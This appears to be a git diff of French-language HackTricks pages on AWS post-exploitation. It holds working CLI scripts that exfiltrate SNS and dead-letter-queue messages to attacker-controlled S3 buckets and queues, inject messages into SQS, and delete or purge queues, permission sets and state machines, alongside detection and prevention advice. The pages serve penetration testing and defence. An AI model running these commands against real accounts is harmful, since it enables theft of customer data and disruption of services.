"Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Nettoyage +- Supprimer la subscription SNS, le Firehose delivery stream, les rôles/policies IAM temporaires et le bucket S3 de l'attaquant. + +## Impact +**Impact potentiel** : Exfiltration continue et durable de chaque message publié sur le topic SNS ciblé vers un stockage contrôlé par l'attaquant avec une empreinte opérationnelle minimale. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..c911c5676 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +## Description + +Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant via `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQ au fil du temps. + +## What is a Dead-Letter Queue (DLQ)? + +Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent : +- Données sensibles d'application qui n'ont pas pu être traitées +- Détails d'erreur et informations de débogage +- Personal Identifiable Information (PII) +- API tokens, credentials, ou autres secrets +- Données de transaction critiques pour l'entreprise + +Les DLQ servent de « cimetière » pour les messages échoués, ce qui en fait des cibles de choix puisqu'elles accumulent au fil du temps des données sensibles que les applications n'ont pas pu traiter correctement. + +## Attack Scenario + +**Exemple réel :** +1. **Application e-commerce** traite les commandes clients via SQS +2. **Certaines commandes échouent** (problèmes de paiement, de stock, etc.) et sont déplacées vers une DLQ +3. **La DLQ s'accumule** pendant des semaines/mois avec des commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **L'attaquant obtient l'accès** à des identifiants AWS avec permissions SQS +5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles +6. **Au lieu d'essayer d'accéder message par message** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue +7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération + +## Requirements +- La source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de queue). +- Permissions IAM (exécutées en tant que le principal compromis) : +- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Sur la queue de destination : permission d'envoyer des messages (par ex. policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est généralement autorisé par défaut. +- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +Exfiltration rapide de payloads sensibles accumulés dans les DLQ (événements échoués, PII, tokens, payloads applicatifs) en utilisant les API natives SQS. Fonctionne cross-account si la policy de la queue de destination permet `SendMessage` depuis le principal victime. + +## How to Abuse + +- Identifier l'ARN de la DLQ victime et vérifier qu'elle est bien référencée comme DLQ par au moins une queue (n'importe quelle queue convient). +- Créer ou choisir une queue de destination contrôlée par l'attaquant et obtenir son ARN. +- Lancer une tâche de déplacement de messages depuis la DLQ victime vers votre queue de destination. +- Surveiller la progression ou annuler si nécessaire. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées. + +1) **Découvrir et examiner la DLQ victime** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Créer une queue de destination contrôlée par l'attaquant** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Exécuter le vol massif de messages** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Récolter les données sensibles volées** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Notes inter-comptes +- La file de destination doit disposer d'une politique de ressources autorisant le principal de la victime à `sqs:SendMessage` (et, si utilisé, KMS grants/permissions). + +## Pourquoi cette attaque est efficace + +1. **Fonctionnalité légitime d'AWS** : Utilise des fonctionnalités natives d'AWS, ce qui la rend difficile à détecter comme malveillante +2. **Opération par lots** : Transfère rapidement des milliers de messages au lieu d'un accès lent message par message +3. **Données historiques** : Les DLQ accumulent des données sensibles sur des semaines/mois +4. **Peu surveillé** : De nombreuses organisations ne surveillent pas de près l'accès aux DLQ +5. **Capable inter-comptes** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent + +## Détection et prévention + +### Détection +Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects : +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Prévention +1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux seuls rôles nécessaires +2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour détecter une activité anormale des DLQs +3. **Politiques inter-comptes** : Examiner attentivement les SQS queue policies autorisant l'accès entre comptes +4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des key policies restreintes +5. **Nettoyage régulier** : Ne laissez pas des données sensibles s'accumuler indéfiniment dans les DLQs diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index 10005cdc8..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Impact potentiel** : Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés. - -### `sqs:DeleteQueue` - -Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications dépendant de la file d'attente. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant la file d'attente supprimée. - -### `sqs:PurgeQueue` - -Un attaquant pourrait purger tous les messages d'une file d'attente SQS, entraînant une perte de messages et une interruption potentielle des applications s'appuyant sur ces messages. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Impact potentiel** : Perte de messages et interruption de service pour les applications dépendant des messages purgés. - -### `sqs:SetQueueAttributes` - -Un attaquant pourrait modifier les attributs d'une file d'attente SQS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des étiquettes. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises. - -### `sqs:RemovePermission` - -Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur la file d'attente en raison de la suppression non autorisée des autorisations. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..6cb9dca18 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Un attaquant pourrait envoyer des messages malveillants ou indésirables dans la file SQS, pouvant entraîner une corruption des données, déclencher des actions non voulues ou épuiser les ressources. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Impact potentiel**: Exploitation de la vulnérabilité, corruption des données, actions non intentionnelles ou épuisement des ressources. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption des données ou une interruption de service pour les applications qui dépendent de ces messages. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potential Impact**: Voler des informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés. + +### `sqs:DeleteQueue` + +Un attaquant pourrait supprimer une file SQS entière, entraînant la perte de messages et affectant les applications dépendant de la file. +```bash +aws sqs delete-queue --queue-url +``` +**Impact potentiel**: Perte de messages et interruption de service pour les applications utilisant la file d'attente supprimée. + +### `sqs:PurgeQueue` + +Un attaquant pourrait purger tous les messages d'une file d'attente SQS, entraînant une perte de messages et une possible interruption des applications qui dépendent de ces messages. +```bash +aws sqs purge-queue --queue-url +``` +**Impact potentiel**: Perte de messages et interruption de service pour les applications dépendant des messages purgés. + +### `sqs:SetQueueAttributes` + +Un attaquant pourrait modifier les attributs d'une queue SQS, affectant potentiellement ses performances, sa sécurité ou sa disponibilité. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Impact potentiel** : Des erreurs de configuration pouvant entraîner une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Impact potentiel**: Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags. + +### `sqs:RemovePermission` + +Un attaquant pourrait révoquer les autorisations des utilisateurs ou services légitimes en supprimant les politiques associées à la file d'attente SQS. Cela pourrait entraîner des perturbations du fonctionnement normal des applications qui dépendent de cette file d'attente. +```bash +aws sqs remove-permission --queue-url --label +``` +**Impact potentiel**: Perturbation du fonctionnement normal des applications dépendant de la file d'attente en raison de la suppression non autorisée des autorisations. + +### Autres SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..1d0da088b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Description + +Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une file contrôlée par l'attaquant via `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQs au fil du temps. + +## What is a Dead-Letter Queue (DLQ)? + +Une Dead-Letter Queue est une file SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent : +- Des données sensibles d'application qui n'ont pas pu être traitées +- Des détails d'erreur et des informations de débogage +- Des informations personnelles identifiables (PII) +- Des tokens API, identifiants ou autres secrets +- Des données transactionnelles critiques pour l'activité + +Les DLQs servent de "cimetière" pour les messages échoués, ce qui en fait des cibles intéressantes car elles accumulent des données sensibles avec le temps que les applications n'ont pas pu gérer correctement. + +## Attack Scenario + +**Real-world example :** +1. **E-commerce application** traite les commandes clients via SQS +2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers une DLQ +3. **La DLQ s'accumule** pendant des semaines/mois avec des commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **L'attaquant obtient** des identifiants AWS avec des permissions SQS +5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles +6. **Au lieu d'essayer d'accéder aux messages individuellement** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre file +7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération + +## Requirements +- La file source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de file). +- Permissions IAM (exécutées en tant que le principal victime compromis) : +- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Sur la file de destination : permission d'envoyer des messages (par ex., politique de file autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, c'est typiquement autorisé par défaut. +- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +**Impact potentiel** : Exfiltrer rapidement des payloads sensibles accumulés dans les DLQs (événements échoués, PII, tokens, payloads d'application) en utilisant les APIs natives SQS. Fonctionne cross-account si la politique de la file de destination permet `SendMessage` depuis le principal victime. + +## How to Abuse + +- Identifier l'ARN de la DLQ victime et s'assurer qu'elle est bien référencée comme DLQ par au moins une file (n'importe quelle file). +- Créer ou choisir une file de destination contrôlée par l'attaquant et récupérer son ARN. +- Démarrer une tâche de déplacement de messages depuis la DLQ victime vers votre file de destination. +- Surveiller la progression ou annuler si nécessaire. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario** : Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Créer une file d'attente de destination contrôlée par l'attaquant** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Exécuter le vol massif de messages** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Récupérer les données sensibles volées** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Notes entre comptes +- La file de destination doit avoir une resource policy autorisant le principal de la victime à `sqs:SendMessage` (et, si utilisé, des grants/autorisations KMS). + +## Pourquoi cette attaque est efficace + +1. **Fonctionnalité AWS légitime**: Utilise une fonctionnalité intégrée d'AWS, ce qui rend l'activité difficile à détecter comme malveillante +2. **Opération en masse**: Transfère rapidement des milliers de messages au lieu d'un accès lent message par message +3. **Données historiques**: Les DLQs accumulent des données sensibles sur plusieurs semaines/mois +4. **Peu visible**: De nombreuses organisations ne surveillent pas de près l'accès aux DLQs +5. **Fonctionne entre comptes**: Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent + +## Détection et prévention + +### Détection +Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects : +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Prévention +1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux rôles strictement nécessaires +2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour une activité inhabituelle des DLQs +3. **Politiques inter-comptes** : Examiner attentivement les politiques de file d'attente SQS permettant un accès inter-comptes +4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des politiques de clé restreintes +5. **Nettoyage régulier** : Ne laissez pas les données sensibles s'accumuler indéfiniment dans les DLQs + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..8e50a7ab6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – Injection SQS inter-compte / même compte via abonnement SNS + politique de file d'attente + +{{#include ../../../../banners/hacktricks-training.md}} + +## Description + +Abusez d'une politique de ressource de file d'attente SQS pour permettre à un topic SNS contrôlé par l'attaquant de publier des messages dans une file SQS victime. Dans le même compte, un abonnement SQS à un topic SNS est confirmé automatiquement ; en cas d'inter-compte, vous devez lire le jeton SubscriptionConfirmation depuis la file et appeler ConfirmSubscription. Cela permet l'injection de messages non sollicités que les consommateurs en aval peuvent implicitement considérer comme fiables. + +### Exigences +- Capacité à modifier la politique de ressource de la file SQS cible : `sqs:SetQueueAttributes` sur la file victime. +- Capacité à créer/publier sur un topic SNS contrôlé par l'attaquant : `sns:CreateTopic`, `sns:Publish`, et `sns:Subscribe` sur le compte/topic de l'attaquant. +- Inter-compte uniquement : `sqs:ReceiveMessage` temporaire sur la file victime pour lire le jeton de confirmation et appeler `sns:ConfirmSubscription`. + +### Exploitation dans le même compte +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Remarques inter-comptes +- La politique de la file ci-dessus doit autoriser le `TOPIC_ARN` étranger (compte attaquant). +- Les abonnements ne se confirment pas automatiquement. Octroyez-vous temporairement `sqs:ReceiveMessage` sur la queue de la victime pour lire le message `SubscriptionConfirmation` puis appelez `sns confirm-subscription` avec son `Token`. + +### Impact +**Impact potentiel** : Injection continue de messages non sollicités dans une queue SQS de confiance via SNS, pouvant déclencher un traitement non désiré, polluer les données ou entraîner un abus de workflow. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 72% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 655a9c34d..adbe8aeed 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO & identitystore Post-exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Ces permissions peuvent être utilisées pour perturber les permissions : +Ces autorisations peuvent être utilisées pour perturber les autorisations : ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index 29272d12f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Pour plus d'informations sur ce service AWS, consultez : - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection sur TRACE et le paramètre revealSecrets sur true. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -Un attaquant disposant de ces permissions pourrait supprimer définitivement des machines d'état, leurs versions et alias. Cela peut perturber des flux de travail critiques, entraîner une perte de données et nécessiter un temps considérable pour récupérer et restaurer les machines d'état affectées. De plus, cela permettrait à un attaquant de couvrir les traces utilisées, de perturber les enquêtes judiciaires et de potentiellement paralyser les opérations en supprimant des processus d'automatisation essentiels et des configurations d'état. - -> [!NOTE] -> -> - En supprimant une machine d'état, vous supprimez également toutes ses versions et alias associés. -> - En supprimant un alias de machine d'état, vous ne supprimez pas les versions de la machine d'état référencées par cet alias. -> - Il n'est pas possible de supprimer une version de machine d'état actuellement référencée par un ou plusieurs alias. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Impact potentiel** : Perturbation des flux de travail critiques, perte de données et temps d'arrêt opérationnel. - -### `states:UpdateMapRun` - -Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency 